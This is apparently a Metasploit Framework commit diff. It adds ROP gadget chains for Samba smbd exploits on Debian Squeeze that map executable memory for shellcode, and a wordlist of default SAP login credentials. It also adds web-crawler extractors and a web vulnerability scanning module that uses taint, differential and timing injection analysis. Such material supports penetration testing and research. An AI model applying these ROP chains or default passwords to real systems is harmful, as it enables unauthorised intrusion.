+ <gadget offset="0x0009e8e4">jmp eax</gadget>
+ <gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
+ <gadget offset="0x001f6142">pop edx ; ret</gadget>
+ <gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
+ <gadget offset="0x00277540">pop ebp ; ret</gadget>
+ <gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
+ <gadget offset="0x008c0964">memcpy@got</gadget>
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x0000dbcf">pushad, ret</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+ -->
+ <!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
+ <compatibility
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
+ </compatibility>
+ <gadgets base="0">
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
+ <gadget offset="0x008cf86c">mmap64@got</gadget>
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
+ <gadget offset="0x000234e5">jmp eax</gadget>
+ <gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
+ <gadget value ="0x00001000">mmap arg : size</gadget>
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
+ <gadget offset="0x0001cf12">pop edx ; ret</gadget>
+ <gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
+ <gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
+ <gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
+ <gadget value ="0x00000000">junk for ebp</gadget>
+ <gadget offset="0x00394107">pop ebp ; ret</gadget>
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
+ <gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
+ <gadget offset="0x008cf1e8">memcpy@got</gadget>
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
+ <gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
+ <gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
+ <gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
+ <gadget offset="0x00020453">pushad, ret</gadget>
+ <gadget value ="size">payload size</gadget>
+ </gadgets>
+ -->
+</db>
View
13 data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb
@@ -0,0 +1,13 @@
+class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
+
+ def self.up
+ add_column :web_vulns, :owner, :string
+ add_column :web_vulns, :payload, :text
+ end
+
+ def self.down
+ remove_column :web_vulns, :owner
+ remove_column :web_vulns, :payload
+ end
+
+end
View
14 data/wordlists/sap_default.txt
@@ -0,0 +1,14 @@
+SAP* 06071992
+SAP* PASS
+DDIC 19920706
+DDIC Welcome01
+SAPCPIC ADMIN
+EARLYWATCH SUPPORT
+TMSADM PASSWORD
+TMSADM ADMIN
+ADMIN welcome
+ADSUSER ch4ngeme
+ADS_AGENT ch4ngeme
+DEVELOPER ch4ngeme
+J2EE_ADMIN ch4ngeme
+SAPJSF ch4ngeme
View
7 external/source/gui/msfguijava/src/msfgui/MainFrame.java
@@ -423,7 +423,12 @@ protected Void doInBackground() throws Exception {
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
return new ActionListener(){
public void actionPerformed(ActionEvent e) {
- new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
+ //If we have saved options for this module, use those
+ Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
+ if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
+ new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
+ else //otherwise go with the default
+ new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
}
};
}
View
7 external/source/gui/msfguijava/src/msfgui/MsfguiApp.java
@@ -287,12 +287,19 @@ public static void addRecentModule(final List args, final RpcConnection rpcConn,
}
Map hash = (Map)args.get(2);
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
+ //Save these options
+ if(!propRoot.containsKey("modOptions")) //first ensure option map exists
+ propRoot.put("modOptions", new HashMap());
+ ((Map)propRoot.get("modOptions")).put(name.toString(), args);
+
+ //Generate display name
for(Object ento : hash.entrySet()){
Entry ent = (Entry)ento;
String propName = ent.getKey().toString();
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
name.append(" ").append(propName).append("-").append(ent.getValue());
}
+ //Make menu item
final JMenuItem item = new JMenuItem(name.toString());
item.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
View
10 lib/anemone/core.rb
@@ -9,7 +9,7 @@
module Anemone
- VERSION = '0.5.0';
+ VERSION = '0.5.0'
#
# Convenience method to start a crawl
@@ -48,7 +48,7 @@ class Core
:cookies => nil,
# basic authentication data to send with HTTP requests
:http_basic_auth => nil,
- # array or raw header lines to inject into each request
+ # array or raw header lines to inject into each request
:inject_headers => [],
# accept cookies from the server and send them back?
:accept_cookies => false,
@@ -77,7 +77,7 @@ def initialize(urls, opts = {})
@skip_link_patterns = []
@after_crawl_blocks = []
@opts = opts
-
+
yield self if block_given?
end
@@ -277,7 +277,7 @@ def too_deep?(from_page)
false
end
end
-
+
#
# Returns +true+ if *link* should not be visited because
# it has a query string and +skip_query_strings+ is true.
@@ -301,6 +301,6 @@ def shutdown
@tentacles.each {|t| t.kill rescue nil }
@pages = nil
end
-
+
end
end
View
7 lib/anemone/extractors/anchors.rb
@@ -0,0 +1,7 @@
+class Anemone::Extractors::Anchors < Anemone::Extractors::Base
+
+ def run
+ doc.search( '//a[@href]' ).map { |a| a['href'] }
+ end
+
+end
View
12 lib/anemone/extractors/dirbuster.rb
@@ -0,0 +1,12 @@
+class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
+
+ def run
+ return [] if page.code.to_i != 200
+
+ @@dirs ||= nil
+
+ return @@dirs if @@dirs
+ @@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
+ end
+
+end
View
10 lib/anemone/extractors/dirbuster/directories
@@ -0,0 +1,10 @@
+test/
+tmp/
+stuff/
+awstats/
+awstats/awstats/
+basilic/
+cacti/
+docs/text/manual.txt
+docs/CHANGELOG
+docs/html/php_script_server.html
View
7 lib/anemone/extractors/forms.rb
@@ -0,0 +1,7 @@
+class Anemone::Extractors::Forms < Anemone::Extractors::Base
+
+ def run
+ doc.search( '//form[@action]' ).map { |a| a['action'] }
+ end
+
+end
View
7 lib/anemone/extractors/frames.rb
@@ -0,0 +1,7 @@
+class Anemone::Extractors::Frames < Anemone::Extractors::Base
+
+ def run
+ doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
+ end
+
+end
View
50 lib/anemone/extractors/generic.rb
@@ -0,0 +1,50 @@
+require 'uri'
+
+class Anemone::Extractors::Generic < Anemone::Extractors::Base
+
+ def run
+ URI.extract( doc.to_s, %w(http https) ).map do |u|
+ #
+ # This extractor needs to be a tiny bit intelligent because
+ # due to its generic nature it'll inevitably match some garbage.
+ #
+ # For example, if some JS code contains:
+ #
+ # var = 'http://blah.com?id=1'
+ #
+ # or
+ #
+ # var = { 'http://blah.com?id=1', 1 }
+ #
+ #
+ # The URI.extract call will match:
+ #
+ # http://blah.com?id=1'
+ #
+ # and
+ #
+ # http://blah.com?id=1',
+ #
+ # respectively.
+ #
+ if !includes_quotes?( u )
+ u
+ else
+ if html.include?( "'#{u}" )
+ u.split( '\'' ).first
+ elsif html.include?( "\"#{u}" )
+ u.split( '"' ).first
+ else
+ u
+ end
+ end
+ end
+ rescue
+ []
+ end
+
+ def includes_quotes?( url )
+ url.include?( '\'' ) || url.include?( '"' )
+ end
+
+end
View
7 lib/anemone/extractors/links.rb
@@ -0,0 +1,7 @@
+class Anemone::Extractors::Links < Anemone::Extractors::Base
+
+ def run
+ doc.search( "//link[@href]" ).map { |a| a['href'] }
+ end
+
+end
View
24 lib/anemone/extractors/meta_refresh.rb
@@ -0,0 +1,24 @@
+class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
+
+ def run
+ doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
+ begin
+ _, url = url['content'].split( ';', 2 )
+ next if !url
+ unquote( url.split( '=', 2 ).last )
+ rescue
+ next
+ end
+ end
+ rescue
+ nil
+ end
+
+ def unquote( str )
+ [ '\'', '"' ].each do |q|
+ return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
+ end
+ str
+ end
+
+end
View
7 lib/anemone/extractors/scripts.rb
@@ -0,0 +1,7 @@
+class Anemone::Extractors::Scripts < Anemone::Extractors::Base
+
+ def run
+ doc.search( '//script[@src]' ).map { |a| a['src'] }
+ end
+
+end
View
100 lib/anemone/page.rb
@@ -3,6 +3,22 @@
require 'webrick/cookie'
module Anemone
+
+ # Path extractor container namespace.
+ module Extractors
+ class Base
+ attr_reader :page
+
+ def initialize( page )
+ @page = page
+ end
+
+ def doc
+ page.doc
+ end
+ end
+ end
+
class Page
# The URL of the page
@@ -31,7 +47,7 @@ class Page
attr_accessor :response_time
# Storage for the original HTTP request that generated this response
attr_accessor :request
-
+
#
# Create a new page
#
@@ -53,51 +69,52 @@ def initialize(url, params = {})
@fetched = !params[:code].nil?
end
+ def self.extractors
+ return @extractors if @extractors
+
+ lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
+ Dir.glob( lib ).each { |e| require e }
+
+ @extractors = Extractors.constants.map do |e|
+ next if e == :Base
+ Extractors.const_get( e )
+ end.compact
+ end
+
+ def run_extractors
+ return [] if !doc
+ self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
+ compact.map do |p|
+ abs = to_absolute( URI( p ) ) rescue next
+ !in_domain?( abs ) ? nil : abs
+ end.compact.uniq
+ end
+
#
# Array of distinct A tag HREFs from the page
#
- # MODIFIED: Dig URLs from elements other than "A" refs
- #
+ # MODIFIED: Dig URLs from elements other than "A" refs
+ #
def links
- return @links unless @links.nil?
+ return @links if @links
@links = []
return @links if !doc
-
- # First extract normal, direct links
- etypes = %W{a frame iframe}
- doc.css(*etypes).each do |r|
- u = r['src'] || r['href']
- next if u.nil? or u.empty?
- abs = to_absolute(URI(u)) rescue next
- @links << abs if in_domain?(abs)
- end
- # Now create links from other content URLs
- etypes = %W{img script link form}
- doc.css(*etypes).each do |r|
- u = r['src'] || r['href'] || r['action']
- next if u.nil? or u.empty?
-
- # Remove any query string
- u,tmp = u.split('?',2)
-
- # Back off to the containing directory
- u.gsub!(/(.*\/)[^\/]+$/, "\\1")
-
- abs = to_absolute(URI(u)) rescue next
- @links << abs if in_domain?(abs)
- end
-
- nlinks = []
- @links.each do |u|
- bits = u.path.split('/')
- while(bits.length > 0)
+ @links = run_extractors
+
+ @links |= @links.map do |u|
+ # back-off to the parent dir
+ to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
+ end.uniq.compact
+
+ @links |= @links.map do |u|
+ bits = u.path.split( '/' )
+ while bits.length > 0
bits.pop
- nlinks << to_absolute(URI(bits.join('/'))) rescue next
- end
- end
-
- @links.push(nlinks)
+ to_absolute( URI( bits.join( '/' ) ) ) rescue next
+ end
+ end.uniq.compact
+
@links.flatten!
@links.uniq!
@links
@@ -206,7 +223,7 @@ def to_hash
'headers' => Marshal.dump(@headers),
'data' => Marshal.dump(@data),
'body' => @body,
- 'links' => links.map(&:to_s),
+ 'links' => links.map(&:to_s),
'code' => @code,
'visited' => @visited,
'depth' => @depth,
@@ -234,5 +251,10 @@ def self.from_hash(hash)
end
page
end
+
+ def dup
+ Marshal.load( Marshal.dump( self ) )
+ end
+
end
end
View
39 lib/anemone/rex_http.rb
@@ -5,7 +5,7 @@
#
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
-# library and the Rex::Proto::Http protocol stack.
+# library and the Rex::Proto::Http protocol stack.
#
module Anemone
@@ -39,7 +39,7 @@ def fetch_pages(url, referer = nil, depth = nil)
url = URI(url) unless url.is_a?(URI)
pages = []
get(url, referer) do |response, code, location, redirect_to, response_time|
-
+
page = Page.new(location, :body => response.body.dup,
:code => code,
:headers => response.headers,
@@ -84,7 +84,7 @@ def user_agent
def virtual_host(url)
url.host
end
-
+
#
# Does this HTTP client accept cookies from the server?
#
@@ -109,15 +109,15 @@ def get(url, referer = nil)
response, response_time = get_response(loc, referer)
code = response.code.to_i
-
+
redirect_to = nil
if code >= 300 and code <= 310
redirect_to = URI(response['location']).normalize
end
-
+
yield response, code, loc, redirect_to, response_time
-
-
+
+
limit -= 1
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
end
@@ -129,20 +129,19 @@ def get(url, referer = nil)
# it is sent to the remote system.
#
def get_response(url, referer = nil)
- full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
-
opts = {
- 'uri' => url.path
+ 'uri' => url.path,
+ 'query' => url.query
}
-
+
opts['agent'] = user_agent if user_agent
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
head = {}
if referer
head['Referer'] = referer.to_s
end
-
+
if @opts[:http_basic_auth]
head['Authorization'] = "Basic " + @opts[:http_basic_auth]
end
@@ -151,24 +150,24 @@ def get_response(url, referer = nil)
k,v = hdr.split(':', 2)
head[k] = v
end
-
+
opts['headers'] = head
-
+
retries = 0
begin
start = Time.now()
-
+
response = nil
request = nil
begin
conn = connection(url)
request = conn.request_raw(opts)
- response = conn.send_recv(request, @opts[:timeout] || 10 )
+ response = conn.send_recv(request, @opts[:timeout] || 10 )
rescue ::Errno::EPIPE, ::Timeout::Error
end
-
+
finish = Time.now()
-
+
response_time = ((finish - start) * 1000).round
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
return response, response_time
@@ -191,12 +190,12 @@ def connection(url)
'SSLv23',
@opts[:proxies]
)
-
+
conn.set_config(
'vhost' => virtual_host(url),
'agent' => user_agent
)
-
+
conn
end
View
4 lib/msf/core/auxiliary/mixins.rb
@@ -1,7 +1,4 @@
# -*- coding: binary -*-
-##
-# $Id$
-##
#
# Auxiliary mixins
@@ -14,6 +11,7 @@
require 'msf/core/auxiliary/udp_scanner'
require 'msf/core/auxiliary/timed'
require 'msf/core/auxiliary/wmapmodule'
+require 'msf/core/auxiliary/web'
require 'msf/core/auxiliary/crawler'
require 'msf/core/auxiliary/commandshell'
View
284 lib/msf/core/auxiliary/web.rb
@@ -0,0 +1,284 @@
+# -*- coding: binary -*-
+
+module Msf
+
+###
+#
+# This module provides methods for brute forcing authentication
+#
+###
+
+module Auxiliary::Web
+ module Analysis
+ end
+
+ require 'msf/core/auxiliary/web/http'
+ require 'msf/core/auxiliary/web/fuzzable'
+ require 'msf/core/auxiliary/web/form'
+ require 'msf/core/auxiliary/web/path'
+ require 'msf/core/auxiliary/web/target'
+
+ include Auxiliary::Report
+
+ attr_reader :target
+ attr_reader :http
+ attr_reader :parent
+ attr_reader :page
+
+ def initialize( info = {} )
+ super
+ end
+
+ # String id to push to the #checklist
+ def checked( id )
+ parent.checklist << "#{shortname}#{id}".hash
+ end
+
+ # String id to check against the #checklist
+ def checked?( id )
+ parent.checklist.include? "#{shortname}#{id}".hash
+ end
+
+ #
+ # Called directly before 'run'
+ #
+ def setup( opts = {} )
+ @parent = opts[:parent]
+ @target = opts[:target]
+ @page = opts[:page]
+ @http = opts[:http]
+ end
+
+ # Should be overridden to return the exploits to use for this
+ # vulnerability type as an Array of Strings.
+ def self.exploits
+ end
+
+ # Must return a configuration Hash for the given exploit and vulnerability.
+ def self.configure_exploit( exploit, vuln )
+ end
+
+ # Should be overridden to return the payloads used for this
+ # vulnerability type as an Array of Strings.
+ def payloads
+ end
+
+ def token
+ "xssmsfpro"
+ end
+
+ #
+ # Should be overridden to return a pattern to be matched against response
+ # bodies in order to identify a vulnerability.
+ #
+ # You can go one deeper and override #find_proof for more complex processing.
+ #
+ def signature
+ end
+
+ #
+ # Default #run, will audit all elements using taint analysis and log
+ # results based on #find_proof return values.
+ #
+ def run
+ auditable.each { |element| element.taint_analysis }
+ end
+
+ # Returns an Array of elements prepared to be audited.
+ def auditable
+ target.auditable.map do |element|
+ element.fuzzer = self
+ element
+ end
+ end
+
+ # Checks whether a resource exists based on a path String.
+ def resource_exist?( path )
+ res = http.get( path )
+ res.code.to_i == 200 && !http.custom_404?( path, res.body )
+ end
+ alias :file_exist? :resource_exist?
+
+ # Checks whether a directory exists based on a path String.
+ def directory_exist?( path )
+ dir = path.dup
+ dir << '/' if !dir.end_with?( '/' )
+ resource_exist?( dir )
+ end
+
+ # Logs the existence of a resource in the path String.
+ def log_resource_if_exists( path )
+ log_resource( :location => path ) if resource_exist?( path )
+ end
+ alias :log_file_if_exists :log_resource_if_exists
+
+ # Logs the existence of the directory in the path String.
+ def log_directory_if_exists( path )
+ dir = path.dup
+ dir << '/' if !dir.end_with?( '/' )
+ log_resource_if_exists( dir )
+ end
+
+ # Matches fingerprint pattern against the current page's body and logs matches
+ def match_and_log_fingerprint( fingerprint )
+ page.body.to_s.match( fingerprint ) && log_fingerprint( :fingerprint => fingerprint )
+ end
+
+ #
+ # Serves as a default detection method for when performing taint analysis.
+ #
+ # Uses the Regexp in #signature against the response body in order to
+ # identify vulnerabilities and return a String that proves it.
+ #
+ # Override it if you need more complex processing, but remember to return
+ # the proof as a String.
+ #
+ # response - Net::HTTPResponse
+ # element - the submitted element
+ #
+ def find_proof( response, element )
+ return if !signature
+
+ m = response.body.match( signature ).to_s
+ return if !m || m.size < 1
+
+ m.gsub( /[\r\n]/, ' ' )
+ end
+
+ def increment_request_counter
+ parent.increment_request_counter
+ end
+
+ # Should be overridden and return an Integer (0-100) denoting the confidence
+ # in the accuracy of the logged vuln.
+ def calculate_confidence( vuln )
+ 100
+ end
+
+ def log_fingerprint( opts = {} )
+ mode = details[:category].to_sym
+ vhash = [target.to_url, opts[:fingerprint], mode, opts[:location]].
+ map { |x| x.to_s }.join( '|' ).hash
+
+ return if parent.vulns.include?( vhash )
+ parent.vulns[vhash] = true
+
+ location = opts[:location] ?
+ page.url.merge( URI( opts[:location].to_s )) : page.url
+
+ info = {
+ :web_site => target.site,
+ :path => location.path,
+ :query => location.query,
+ :method => 'GET',
+ :params => [],
+ :pname => 'path',
+ :proof => opts[:fingerprint],
+ :risk => details[:risk],
+ :name => details[:name],
+ :blame => details[:blame],
+ :category => details[:category],
+ :description => details[:description],
+ :confidence => details[:category] || opts[:confidence] || 100,
+ :owner => self
+ }
+
+ report_web_vuln( info )
+
+ print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})"
+ print_good " PROOF(#{opts[:fingerprint]})"
+ end
+
+ def log_resource( opts = {} )
+ mode = details[:category].to_sym
+ vhash = [target.to_url, mode, opts[:location]].
+ map { |x| x.to_s }.join( '|' ).hash
+
+ return if parent.vulns.include?( vhash )
+ parent.vulns[vhash] = true
+
+ location = URI( opts[:location].to_s )
+ info = {
+ :web_site => target.site,
+ :path => location.path,
+ :query => location.query,
+ :method => 'GET',
+ :params => [],
+ :pname => 'path',
+ :proof => opts[:location],
+ :risk => details[:risk],
+ :name => details[:name],
+ :blame => details[:blame],
+ :category => details[:category],
+ :description => details[:description],
+ :confidence => details[:category] || opts[:confidence] || 100,
+ :owner => self
+ }
+
+ report_web_vuln( info )
+
+ print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})"
+ print_good " PROOF(#{opts[:location]})"
+ end
+
+ def process_vulnerability( element, proof, opts = {} )
+ mode = details[:category].to_sym
+ vhash = [target.to_url, mode, element.altered].
+ map{ |x| x.to_s }.join( '|' ).hash
+
+ parent.vulns[mode] ||= {}
+ return parent.vulns[mode][vhash] if parent.vulns[mode][vhash]
+
+ parent.vulns[mode][vhash] = {
+ :target => target,
+ :method => element.method.to_s.upcase,
+ :params => element.params.to_a,
+ :mode => mode,
+ :pname => element.altered,
+ :proof => proof,
+ :form => element.model,
+ :risk => details[:risk],
+ :name => details[:name],
+ :blame => details[:blame],
+ :category => details[:category],
+ :description => details[:description]
+ }
+
+ confidence = calculate_confidence( parent.vulns[mode][vhash] )
+
+ parent.vulns[mode][vhash].merge!( :confidence => confidence )
+
+ if !(payload = opts[:payload])
+ if payloads
+ payload = payloads.select{ |p| element.altered_value.include?( p ) }.first
+ end
+ end
+
+ uri = URI( element.action )
+ info = {
+ :web_site => element.model.web_site,
+ :path => uri.path,
+ :query => uri.query,
+ :method => element.method.to_s.upcase,
+ :params => element.params.to_a,
+ :pname => element.altered,
+ :proof => proof,
+ :risk => details[:risk],
+ :name => details[:name],
+ :blame => details[:blame],
+ :category => details[:category],
+ :description => details[:description],
+ :confidence => confidence,
+ :payload => payload,
+ :owner => self
+ }
+
+ report_web_vuln( info )
+
+ print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" +
+ " PARAMETER(#{element.altered}) VALUES(#{element.params})"
+ print_good " PROOF(#{proof})"
+ end
+
+end
+end
View
136 lib/msf/core/auxiliary/web/analysis/differential.rb
@@ -0,0 +1,136 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+module Msf
+
+module Auxiliary::Web
+module Analysis::Differential
+
+ DIFFERENTIAL_OPTIONS = {
+ # amount of refinement iterations
+ :precision => 2
+ }
+
+ #
+ # Performs differential analysis and logs an issue should there be one.
+ #
+ # Fuzzer must provide:
+ # - #boolean_seeds_for - array of boolean injection strings
+ # (these are supposed to not alter the webapp behavior when interpreted)
+ # - #fault_seeds_for - array of fault injection strings
+ # (these are supposed to force erroneous conditions when interpreted)
+ #
+ # Here's how it goes:
+ # * let _default_ be the default/original response
+ # * let _fault_ be the response of the fault injection
+ # * let _bool_ be the response of the boolean injection
+ #
+ # A vulnerability is logged if:
+ # default == bool AND bool.code == 200 AND fault != bool
+ #
+ # The "bool" response is also checked in order to determine if it's a custom 404,
+ # if it is it'll be skipped.
+ #
+ # @param [Hash] opts Options Hash (default: {})
+ # :precision - amount of refinement iterations (default: 2)
+ #
+ def differential_analysis( opts = {}, &block )
+ opts = DIFFERENTIAL_OPTIONS.merge( opts )
+
+ return if fuzzed? :type => :differential
+ fuzzed :type => :differential
+
+ # don't continue if there's a missing value
+ params.values.each { |val| return if !val || val.empty? }
+
+ responses = {
+ # will hold the original, default, response that results from submitting
+ :orig => nil,
+
+ # will hold responses of boolean injections
+ :good => {},
+
+ # will hold responses of fault injections
+ :bad => {}
+ }
+
+ # submit the element, as is, opts[:precision] amount of times and
+ # rdiff the responses in order to arrive to a refined response without
+ # any superfluous dynamic content
+ opts[:precision].times do
+ # get the default responses
+ submit_async do |res|
+ responses[:orig] ||= res.body.to_s
+ # remove context-irrelevant dynamic content like banners and such
+ responses[:orig] = Rex::Text.refine( responses[:orig], res.body.to_s )
+ end
+ end
+
+ # perform fault injection opts[:precision] amount of times and
+ # rdiff the responses in order to arrive to a refined response without
+ # any superfluous dynamic content
+ opts[:precision].times do
+ params.map do |name, value|
+ fuzzer.fault_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
+ end.flatten.uniq.each do |elem|
+
+ # submit the mutation and store the response
+ elem.submit_async do |res|
+ responses[:bad][elem.altered] ||= res.body.to_s.dup
+
+ # remove context-irrelevant dynamic content like banners and such
+ # from the error page
+ responses[:bad][elem.altered] =
+ Rex::Text.refine( responses[:bad][elem.altered], res.body.to_s.dup )
+ end
+ end
+ end
+
+ # get injection variations that will not affect the outcome of the query
+ params.map do |name, value|
+ fuzzer.boolean_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
+ end.flatten.uniq.each do |elem|
+
+ # submit the mutation and store the response
+ elem.submit_async do |res|
+ responses[:good][elem.altered] ||= []
+ # save the response and some data for analysis
+ responses[:good][elem.altered] << {
+ 'res' => res,
+ 'elem' => elem
+ }
+ end
+ end
+
+ http.after_run do
+ responses[:good].keys.each do |key|
+ responses[:good][key].each do |res|
+
+ # if default_response_body == bool_response_body AND
+ # fault_response_body != bool_response_body AND
+ # bool_response_code == 200
+ if responses[:orig] == res['res'].body &&
+ responses[:bad][key] != res['res'].body &&
+ res['res'].code.to_i == 200
+
+ # check to see if the current boolean response we're analyzing
+ # is a custom 404 page
+ http.if_not_custom_404( action, res['res'].body ) do
+ # if this isn't a custom 404 page then it means that
+ # the element is vulnerable, so go ahead and log the issue
+ fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.',
+ :payload => res['elem'].altered_value )
+ end
+ end
+ end
+ end
+ end
+ end
+
+end
+end
+end
View
34 lib/msf/core/auxiliary/web/analysis/taint.rb
@@ -0,0 +1,34 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+module Msf
+
+module Auxiliary::Web
+module Analysis::Taint
+
+ #
+ # Injects taints into the element parameters.
+ #
+ # Fuzzer must provide:
+ # - #seeds_for
+ # - #find_proof
+ #
+ # opts - Options Hash (default: {})
+ #
+ def taint_analysis( opts = {} )
+ return if fuzzed? :type => :taint
+ fuzzed :type => :taint
+
+ fuzz_async do |response, permutation|
+ next if !response || !(proof = fuzzer.find_proof( response, permutation ))
+ fuzzer.process_vulnerability( permutation, proof )
+ end
+ end
+
+end
+end
+end
View
103 lib/msf/core/auxiliary/web/analysis/timing.rb
@@ -0,0 +1,103 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+module Msf
+
+module Auxiliary::Web
+module Analysis::Timing
+
+ TIMING_OPTIONS = {
+ # stub to be replaced by delay * multi
+ :stub => '__TIME__',
+
+ # stub = delay * multi
+ :multi => 1,
+
+ # delay in seconds to attempt to introduce
+ :delay => 5
+ }
+
+ #
+ # Performs timeout/time-delay analysis and logs an issue should there be one.
+ #
+ # Fuzzer must provide:
+ # - #seeds_for -- Array of Strings with server-side code which, when interpreted,
+ # will cause a delay in response. Must include 'stub'.
+ #
+ # Here's how it goes:
+ # * Ensures that the server is responsive.
+ # * Injects the seed and makes sure that the expected delay has been successfully introduced.
+ # * Ensures that the server is responsive -- blocks until the attack has worn off.
+ # * Increases the original delay and makes sure that the expected delay has been successfully introduced.
+ # * Ensures that the server is responsive-- blocks until the attack has worn off.
+ # * Logs the vulnerability.
+ #
+ # opts - Options Hash (default: {})
